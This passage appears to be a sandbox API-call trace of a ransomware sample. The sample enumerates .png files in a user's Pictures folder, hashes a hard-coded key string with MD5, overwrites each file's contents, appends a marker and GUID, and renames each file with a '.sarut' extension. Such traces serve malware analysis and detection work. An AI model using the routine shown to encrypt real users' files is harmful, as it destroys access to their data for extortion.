lpMem=0x30ab728 | out: hHeap=0x640000) returned 1 [0271.254] SetFilePointer (in: hFile=0x5c4, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0271.254] ReadFile (in: hFile=0x5c4, lpBuffer=0x1fa0000, nNumberOfBytesToRead=0x25805, lpNumberOfBytesRead=0x387fb78, lpOverlapped=0x0 | out: lpBuffer=0x1fa0000*, lpNumberOfBytesRead=0x387fb78*=0xd596, lpOverlapped=0x0) returned 1 [0271.255] lstrlenA (lpString="80BD5A01D9E6AC0534B4F46A9A2C9F1B") returned 32 [0271.255] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0x25) returned 0x3097270 [0271.255] lstrlenA (lpString="80BD5A01D9E6AC0534B4F46A9A2C9F1B") returned 32 [0271.255] lstrlenA (lpString="80BD5A01D9E6AC0534B4F46A9A2C9F1B") returned 32 [0271.255] CryptAcquireContextW (in: phProv=0x387fa94, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x387fa94*=0x2fa50e8) returned 1 [0271.256] CryptCreateHash (in: hProv=0x2fa50e8, Algid=0x8003, hKey=0x0, dwFlags=0x0, phHash=0x387fa9c | out: phHash=0x387fa9c) returned 1 [0271.256] CryptHashData (hHash=0x3091560, pbData=0x3097270, dwDataLen=0x25, dwFlags=0x0) returned 1 [0271.256] CryptGetHashParam (in: hHash=0x3091560, dwParam=0x2, pbData=0x0, pdwDataLen=0x387fa98, dwFlags=0x0 | out: pbData=0x0, pdwDataLen=0x387fa98) returned 1 [0271.256] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0x11) returned 0x3069588 [0271.256] CryptGetHashParam (in: hHash=0x3091560, dwParam=0x2, pbData=0x3069588, pdwDataLen=0x387fa98, dwFlags=0x0 | out: pbData=0x3069588, pdwDataLen=0x387fa98) returned 1 [0271.256] GetLastError () returned 0x0 [0271.256] CryptDestroyHash (hHash=0x3091560) returned 1 [0271.256] CryptReleaseContext (hProv=0x2fa50e8, dwFlags=0x0) returned 1 [0271.257] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x3097270 | out: hHeap=0x640000) returned 1 [0271.257] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0xd5a0) returned 0x311d708 [0271.257] SetFilePointer (in: hFile=0x5c4, lDistanceToMove=5, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x5 [0271.257] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x30ab728 | out: hHeap=0x640000) returned 1 [0271.257] WriteFile (in: hFile=0x5c4, lpBuffer=0x311d708*, nNumberOfBytesToWrite=0xd591, lpNumberOfBytesWritten=0x387fb24, lpOverlapped=0x0 | out: lpBuffer=0x311d708*, lpNumberOfBytesWritten=0x387fb24*=0xd591, lpOverlapped=0x0) returned 1 [0271.257] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x311d708 | out: hHeap=0x640000) returned 1 [0271.257] SetFilePointerEx (in: hFile=0x5c4, liDistanceToMove=0xd596, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0271.257] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0x60) returned 0x2ff1990 [0271.257] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0x428) returned 0x712110 [0271.258] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="pQseAIqgTVhPujMMiqH1ILPNUg3soGVim0NAnkt1", cchWideChar=-1, lpMultiByteStr=0x712110, cbMultiByte=1064, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="pQseAIqgTVhPujMMiqH1ILPNUg3soGVim0NAnkt1", lpUsedDefaultChar=0x0) returned 41 [0271.258] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0x430) returned 0x30b3078 [0271.258] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x712110 | out: hHeap=0x640000) returned 1 [0271.258] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x2ff1990 | out: hHeap=0x640000) returned 1 [0271.258] WriteFile (in: hFile=0x5c4, lpBuffer=0x30b3078*, nNumberOfBytesToWrite=0x28, lpNumberOfBytesWritten=0x387fb2c, lpOverlapped=0x0 | out: lpBuffer=0x30b3078*, lpNumberOfBytesWritten=0x387fb2c*=0x28, lpOverlapped=0x0) returned 1 [0271.258] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x30b3078 | out: hHeap=0x640000) returned 1 [0271.258] lstrlenA (lpString="{36A698B9-D67C-4E07-BE82-0EC5B14B4DF5}") returned 38 [0271.258] WriteFile (in: hFile=0x5c4, lpBuffer=0x456394*, nNumberOfBytesToWrite=0x26, lpNumberOfBytesWritten=0x387fb2c, lpOverlapped=0x0 | out: lpBuffer=0x456394*, lpNumberOfBytesWritten=0x387fb2c*=0x26, lpOverlapped=0x0) returned 1 [0271.258] CloseHandle (hObject=0x5c4) returned 1 [0271.260] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0x90) returned 0x2fb7ef8 [0271.260] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0x890) returned 0x311d708 [0271.260] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x2fb7ef8 | out: hHeap=0x640000) returned 1 [0271.260] MoveFileW (lpExistingFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Pictures\\io8_8GuAwtxmu\\DWu1l-Y.png" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\pictures\\io8_8guawtxmu\\dwu1l-y.png"), lpNewFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Pictures\\io8_8GuAwtxmu\\DWu1l-Y.png.sarut" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\pictures\\io8_8guawtxmu\\dwu1l-y.png.sarut")) returned 1 [0271.261] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x311d708 | out: hHeap=0x640000) returned 1 [0271.261] VirtualFree (lpAddress=0x1fa0000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0271.262] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x30567e0 | out: hHeap=0x640000) returned 1 [0271.262] FindNextFileW (in: hFindFile=0x30914e0, lpFindFileData=0x387fba4 | out: lpFindFileData=0x387fba4*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xdc7ede90, ftCreationTime.dwHighDateTime=0x1d4ca30, ftLastAccessTime.dwLowDateTime=0xe4772420, ftLastAccessTime.dwHighDateTime=0x1d4d063, ftLastWriteTime.dwLowDateTime=0xe4772420, ftLastWriteTime.dwHighDateTime=0x1d4d063, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="GbnfrHoOCWV", cAlternateFileName="GBNFRH~1")) returned 1 [0271.262] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0x90) returned 0x2fb7ef8 [0271.262] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0x90) returned 0x302b6c8 [0271.262] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0xfc) returned 0x3072980 [0271.262] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0x70) returned 0x3082828 [0271.262] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0x80) returned 0x2fa50e8 [0271.262] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0x70) returned 0x3082288 [0271.262] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0x80) returned 0x2fa5060 [0271.262] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0x80) returned 0x2fa4fd8 [0271.263] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0x90) returned 0x3085148 [0271.263] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x30828a0 | out: hHeap=0x640000) returned 1 [0271.263] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x2fa5170 | out: hHeap=0x640000) returned 1 [0271.263] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x3082918 | out: hHeap=0x640000) returned 1 [0271.263] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x2fa5390 | out: hHeap=0x640000) returned 1 [0271.263] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x2fa51f8 | out: hHeap=0x640000) returned 1 [0271.263] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x727580 | out: hHeap=0x640000) returned 1 [0271.263] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x3056730 | out: hHeap=0x640000) returned 1 [0271.263] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0x90) returned 0x727580 [0271.263] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x302b6c8 | out: hHeap=0x640000) returned 1 [0271.263] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x2fb7ef8 | out: hHeap=0x640000) returned 1 [0271.263] FindNextFileW (in: hFindFile=0x30914e0, lpFindFileData=0x387fba4 | out: lpFindFileData=0x387fba4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x39483640, ftCreationTime.dwHighDateTime=0x1d4d2be, ftLastAccessTime.dwLowDateTime=0x31df0480, ftLastAccessTime.dwHighDateTime=0x1d4d492, ftLastWriteTime.dwLowDateTime=0x31df0480, ftLastWriteTime.dwHighDateTime=0x1d4d492, nFileSizeHigh=0x0, nFileSizeLow=0xc12, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="jTQEcsS48yYmNAYPg-C.png", cAlternateFileName="JTQECS~1.PNG")) returned 1 [0271.263] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0x70) returned 0x3082918 [0271.263] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0xa6) returned 0x3056730 [0271.263] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x3082918 | out: hHeap=0x640000) returned 1 [0271.263] PathFindExtensionW (pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Pictures\\io8_8GuAwtxmu\\jTQEcsS48yYmNAYPg-C.png") returned=".png" [0271.263] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Pictures\\io8_8GuAwtxmu\\jTQEcsS48yYmNAYPg-C.png" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\pictures\\io8_8guawtxmu\\jtqecss48yymnaypg-c.png"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x5c4 [0271.265] GetFileSizeEx (in: hFile=0x5c4, lpFileSize=0x387fb4c | out: lpFileSize=0x387fb4c*=3090) returned 1 [0271.265] VirtualAlloc (lpAddress=0x0, dwSize=0x25815, flAllocationType=0x1000, flProtect=0x4) returned 0x1fa0000 [0271.268] SetFilePointerEx (in: hFile=0x5c4, liDistanceToMove=0xbec, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0271.268] ReadFile (in: hFile=0x5c4, lpBuffer=0x1fa0000, nNumberOfBytesToRead=0x26, lpNumberOfBytesRead=0x387fb7c, lpOverlapped=0x0 | out: lpBuffer=0x1fa0000*, lpNumberOfBytesRead=0x387fb7c*=0x26, lpOverlapped=0x0) returned 1 [0271.269] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0x30) returned 0x30ab728 [0271.269] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x30ab728 | out: hHeap=0x640000) returned 1 [0271.269] SetFilePointer (in: hFile=0x5c4, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0271.269] ReadFile (in: hFile=0x5c4, lpBuffer=0x1fa0000, nNumberOfBytesToRead=0x25805, lpNumberOfBytesRead=0x387fb78, lpOverlapped=0x0 | out: lpBuffer=0x1fa0000*, lpNumberOfBytesRead=0x387fb78*=0xc12, lpOverlapped=0x0) returned 1 [0271.270] lstrlenA (lpString="80BD5A01D9E6AC0534B4F46A9A2C9F1B") returned 32 [0271.270] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0x25) returned 0x3097270 [0271.270] lstrlenA (lpString="80BD5A01D9E6AC0534B4F46A9A2C9F1B") returned 32 [0271.270] lstrlenA (lpString="80BD5A01D9E6AC0534B4F46A9A2C9F1B") returned 32 [0271.270] CryptAcquireContextW (in: phProv=0x387fa94, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x387fa94*=0x2fa51f8) returned 1 [0271.271] CryptCreateHash (in: hProv=0x2fa51f8, Algid=0x8003, hKey=0x0, dwFlags=0x0, phHash=0x387fa9c | out: phHash=0x387fa9c) returned 1 [0271.271] CryptHashData (hHash=0x3091560, pbData=0x3097270, dwDataLen=0x25, dwFlags=0x0) returned 1 [0271.271] CryptGetHashParam (in: hHash=0x3091560, dwParam=0x2, pbData=0x0, pdwDataLen=0x387fa98, dwFlags=0x0 | out: pbData=0x0, pdwDataLen=0x387fa98) returned 1 [0271.271] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0x11) returned 0x3069588 [0271.271] CryptGetHashParam (in: hHash=0x3091560, dwParam=0x2, pbData=0x3069588, pdwDataLen=0x387fa98, dwFlags=0x0 | out: pbData=0x3069588, pdwDataLen=0x387fa98) returned 1 [0271.271] GetLastError () returned 0x0 [0271.271] CryptDestroyHash (hHash=0x3091560) returned 1 [0271.271] CryptReleaseContext (hProv=0x2fa51f8, dwFlags=0x0) returned 1 [0271.271] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x3097270 | out: hHeap=0x640000) returned 1 [0271.271] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0xc10) returned 0x311d708 [0271.271] SetFilePointer (in: hFile=0x5c4, lDistanceToMove=5, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x5 [0271.271] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x30ab728 | out: hHeap=0x640000) returned 1 [0271.271] WriteFile (in: hFile=0x5c4, lpBuffer=0x311d708*, nNumberOfBytesToWrite=0xc0d, lpNumberOfBytesWritten=0x387fb24, lpOverlapped=0x0 | out: lpBuffer=0x311d708*, lpNumberOfBytesWritten=0x387fb24*=0xc0d, lpOverlapped=0x0) returned 1 [0271.271] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x311d708 | out: hHeap=0x640000) returned 1 [0271.271] SetFilePointerEx (in: hFile=0x5c4, liDistanceToMove=0xc12, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0271.272] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0x60) returned 0x2ff1990 [0271.272] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0x428) returned 0x712110 [0271.272] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="pQseAIqgTVhPujMMiqH1ILPNUg3soGVim0NAnkt1", cchWideChar=-1, lpMultiByteStr=0x712110, cbMultiByte=1064, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="pQseAIqgTVhPujMMiqH1ILPNUg3soGVim0NAnkt1", lpUsedDefaultChar=0x0) returned 41 [0271.272] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0x430) returned 0x30b3078 [0271.272] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x712110 | out: hHeap=0x640000) returned 1 [0271.272] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x2ff1990 | out: hHeap=0x640000) returned 1 [0271.272] WriteFile (in: hFile=0x5c4, lpBuffer=0x30b3078*, nNumberOfBytesToWrite=0x28, lpNumberOfBytesWritten=0x387fb2c, lpOverlapped=0x0 | out: lpBuffer=0x30b3078*, lpNumberOfBytesWritten=0x387fb2c*=0x28, lpOverlapped=0x0) returned 1 [0271.272] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x30b3078 | out: hHeap=0x640000) returned 1 [0271.272] lstrlenA (lpString="{36A698B9-D67C-4E07-BE82-0EC5B14B4DF5}") returned 38 [0271.272] WriteFile (in: hFile=0x5c4, lpBuffer=0x456394*, nNumberOfBytesToWrite=0x26, lpNumberOfBytesWritten=0x387fb2c, lpOverlapped=0x0 | out: lpBuffer=0x456394*, lpNumberOfBytesWritten=0x387fb2c*=0x26, lpOverlapped=0x0) returned 1 [0271.272] CloseHandle (hObject=0x5c4) returned 1 [0271.276] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0xa0) returned 0x302b6c8 [0271.276] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0x8b0) returned 0x311d708 [0271.276] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x302b6c8 | out: hHeap=0x640000) returned 1 [0271.276] MoveFileW (lpExistingFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Pictures\\io8_8GuAwtxmu\\jTQEcsS48yYmNAYPg-C.png" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\pictures\\io8_8guawtxmu\\jtqecss48yymnaypg-c.png"), lpNewFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Pictures\\io8_8GuAwtxmu\\jTQEcsS48yYmNAYPg-C.png.sarut" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\pictures\\io8_8guawtxmu\\jtqecss48yymnaypg-c.png.sarut")) returned 1 [0271.277] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x311d708 | out: hHeap=0x640000) returned 1 [0271.277] VirtualFree (lpAddress=0x1fa0000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0271.278] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x3056730 | out: hHeap=0x640000) returned 1 [0271.278] FindNextFileW (in: hFindFile=0x30914e0, lpFindFileData=0x387fba4 | out: lpFindFileData=0x387fba4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xfa6da260, ftCreationTime.dwHighDateTime=0x1d4d07f, ftLastAccessTime.dwLowDateTime=0xcf2ffc70, ftLastAccessTime.dwHighDateTime=0x1d4d32b, ftLastWriteTime.dwLowDateTime=0xcf2ffc70, ftLastWriteTime.dwHighDateTime=0x1d4d32b, nFileSizeHigh=0x0, nFileSizeLow=0x112c0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="oi_ITTR8-wThmdlbwB.png", cAlternateFileName="OI_ITT~1.PNG")) returned 1 [0271.278] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0x70) returned 0x3082918 [0271.278] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0xa6) returned 0x3056730 [0271.278] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x3082918 | out: hHeap=0x640000) returned 1 [0271.278] PathFindExtensionW (pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Pictures\\io8_8GuAwtxmu\\oi_ITTR8-wThmdlbwB.png") returned=".png" [0271.278] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Pictures\\io8_8GuAwtxmu\\oi_ITTR8-wThmdlbwB.png" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\pictures\\io8_8guawtxmu\\oi_ittr8-wthmdlbwb.png"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x5c4 [0271.279] GetFileSizeEx (in: hFile=0x5c4, lpFileSize=0x387fb4c | out: lpFileSize=0x387fb4c*=70336) returned 1 [0271.279] VirtualAlloc (lpAddress=0x0, dwSize=0x25815, flAllocationType=0x1000, flProtect=0x4) returned 0x1fa0000 [0271.281] SetFilePointerEx (in: hFile=0x5c4, liDistanceToMove=0x1129a, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0271.281] ReadFile (in: hFile=0x5c4, lpBuffer=0x1fa0000, nNumberOfBytesToRead=0x26, lpNumberOfBytesRead=0x387fb7c, lpOverlapped=0x0 | out: lpBuffer=0x1fa0000*, lpNumberOfBytesRead=0x387fb7c*=0x26, lpOverlapped=0x0) returned 1 [0271.284] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0x30) returned 0x30ab728 [0271.284] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x30ab728 | out: hHeap=0x640000) returned 1 [0271.284] SetFilePointer (in: hFile=0x5c4, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0271.284] ReadFile (in: hFile=0x5c4, lpBuffer=0x1fa0000, nNumberOfBytesToRead=0x25805, lpNumberOfBytesRead=0x387fb78, lpOverlapped=0x0 | out: lpBuffer=0x1fa0000*, lpNumberOfBytesRead=0x387fb78*=0x112c0, lpOverlapped=0x0) returned 1 [0271.288] lstrlenA (lpString="80BD5A01D9E6AC0534B4F46A9A2C9F1B") returned 32 [0271.288] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0x25) returned 0x3097270 [0271.288] lstrlenA (lpString="80BD5A01D9E6AC0534B4F46A9A2C9F1B") returned 32 [0271.288] lstrlenA (lpString="80BD5A01D9E6AC0534B4F46A9A2C9F1B") returned 32 [0271.288] CryptAcquireContextW (in: phProv=0x387fa94, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x387fa94*=0x2fa51f8) returned 1 [0271.289] CryptCreateHash (in: hProv=0x2fa51f8, Algid=0x8003, hKey=0x0, dwFlags=0x0, phHash=0x387fa9c | out: phHash=0x387fa9c) returned 1 [0271.289] CryptHashData (hHash=0x3091560, pbData=0x3097270, dwDataLen=0x25, dwFlags=0x0) returned 1 [0271.289] CryptGetHashParam (in: hHash=0x3091560, dwParam=0x2, pbData=0x0, pdwDataLen=0x387fa98, dwFlags=0x0 | out: pbData=0x0, pdwDataLen=0x387fa98) returned 1 [0271.289] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0x11) returned 0x3069588 [0271.289] CryptGetHashParam (in: hHash=0x3091560, dwParam=0x2, pbData=0x3069588, pdwDataLen=0x387fa98, dwFlags=0x0 | out: pbData=0x3069588, pdwDataLen=0x387fa98) returned 1 [0271.289] GetLastError () returned 0x0 [0271.289] CryptDestroyHash (hHash=0x3091560) returned 1 [0271.289] CryptReleaseContext (hProv=0x2fa51f8, dwFlags=0x0) returned 1 [0271.289] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x3097270 | out: hHeap=0x640000) returned 1 [0271.289] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0x112c0) returned 0x311d708 [0271.290] SetFilePointer (in: hFile=0x5c4, lDistanceToMove=5, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x5 [0271.290] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x30ab728 | out: hHeap=0x640000) returned 1 [0271.290] WriteFile (in: hFile=0x5c4, lpBuffer=0x311d708*, nNumberOfBytesToWrite=0x112bb, lpNumberOfBytesWritten=0x387fb24, lpOverlapped=0x0 | out: lpBuffer=0x311d708*, lpNumberOfBytesWritten=0x387fb24*=0x112bb, lpOverlapped=0x0) returned 1 [0271.290] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x311d708 | out: hHeap=0x640000) returned 1 [0271.290] SetFilePointerEx (in: hFile=0x5c4, liDistanceToMove=0x112c0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0271.290] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0x60) returned 0x2ff1990 [0271.290] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0x428) returned 0x712110 [0271.290] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="pQseAIqgTVhPujMMiqH1ILPNUg3soGVim0NAnkt1", cchWideChar=-1, lpMultiByteStr=0x712110, cbMultiByte=1064, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="pQseAIqgTVhPujMMiqH1ILPNUg3soGVim0NAnkt1", lpUsedDefaultChar=0x0) returned 41 [0271.290] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0x430) returned 0x30b3078 [0271.290] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x712110 | out: hHeap=0x640000) returned 1 [0271.291] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x2ff1990 | out: hHeap=0x640000) returned 1 [0271.291] WriteFile (in: hFile=0x5c4, lpBuffer=0x30b3078*, nNumberOfBytesToWrite=0x28, lpNumberOfBytesWritten=0x387fb2c, lpOverlapped=0x0 | out: lpBuffer=0x30b3078*, lpNumberOfBytesWritten=0x387fb2c*=0x28, lpOverlapped=0x0) returned 1 [0271.291] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x30b3078 | out: hHeap=0x640000) returned 1 [0271.291] lstrlenA (lpString="{36A698B9-D67C-4E07-BE82-0EC5B14B4DF5}") returned 38 [0271.291] WriteFile (in: hFile=0x5c4, lpBuffer=0x456394*, nNumberOfBytesToWrite=0x26, lpNumberOfBytesWritten=0x387fb2c, lpOverlapped=0x0 | out: lpBuffer=0x456394*, lpNumberOfBytesWritten=0x387fb2c*=0x26, lpOverlapped=0x0) returned 1 [0271.291] CloseHandle (hObject=0x5c4) returned 1 [0271.311] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0xa0) returned 0x302b6c8 [0271.311] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0x8b0) returned 0x311d708 [0271.311] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x302b6c8 | out: hHeap=0x640000) returned 1 [0271.311] MoveFileW (lpExistingFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Pictures\\io8_8GuAwtxmu\\oi_ITTR8-wThmdlbwB.png" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\pictures\\io8_8guawtxmu\\oi_ittr8-wthmdlbwb.png"), lpNewFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Pictures\\io8_8GuAwtxmu\\oi_ITTR8-wThmdlbwB.png.sarut" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\pictures\\io8_8guawtxmu\\oi_ittr8-wthmdlbwb.png.sarut")) returned 1 [0271.312] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x311d708 | out: hHeap=0x640000) returned 1 [0271.312] VirtualFree (lpAddress=0x1fa0000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0271.313] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x3056730 | out: hHeap=0x640000) returned 1 [0271.313] FindNextFileW (in: hFindFile=0x30914e0, lpFindFileData=0x387fba4 | out: lpFindFileData=0x387fba4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xb4290f10, ftCreationTime.dwHighDateTime=0x1d4cdc8, ftLastAccessTime.dwLowDateTime=0xdbd24160, ftLastAccessTime.dwHighDateTime=0x1d4cbd1, ftLastWriteTime.dwLowDateTime=0xdbd24160, ftLastWriteTime.dwHighDateTime=0x1d4cbd1, nFileSizeHigh=0x0, nFileSizeLow=0x11af6, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="Oy-L7Z_7HHJqNjbRbhn.png", cAlternateFileName="OY-L7Z~1.PNG")) returned 1 [0271.313] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0x70) returned 0x3082918 [0271.313] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0xa6) returned 0x3056730 [0271.313] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x3082918 | out: hHeap=0x640000) returned 1 [0271.313] PathFindExtensionW (pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Pictures\\io8_8GuAwtxmu\\Oy-L7Z_7HHJqNjbRbhn.png") returned=".png" [0271.314] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Pictures\\io8_8GuAwtxmu\\Oy-L7Z_7HHJqNjbRbhn.png" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\pictures\\io8_8guawtxmu\\oy-l7z_7hhjqnjbrbhn.png"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x5c4 [0271.315] GetFileSizeEx (in: hFile=0x5c4, lpFileSize=0x387fb4c | out: lpFileSize=0x387fb4c*=72438) returned 1 [0271.315] VirtualAlloc (lpAddress=0x0, dwSize=0x25815, flAllocationType=0x1000, flProtect=0x4) returned 0x1fa0000 [0271.317] SetFilePointerEx (in: hFile=0x5c4, liDistanceToMove=0x11ad0, 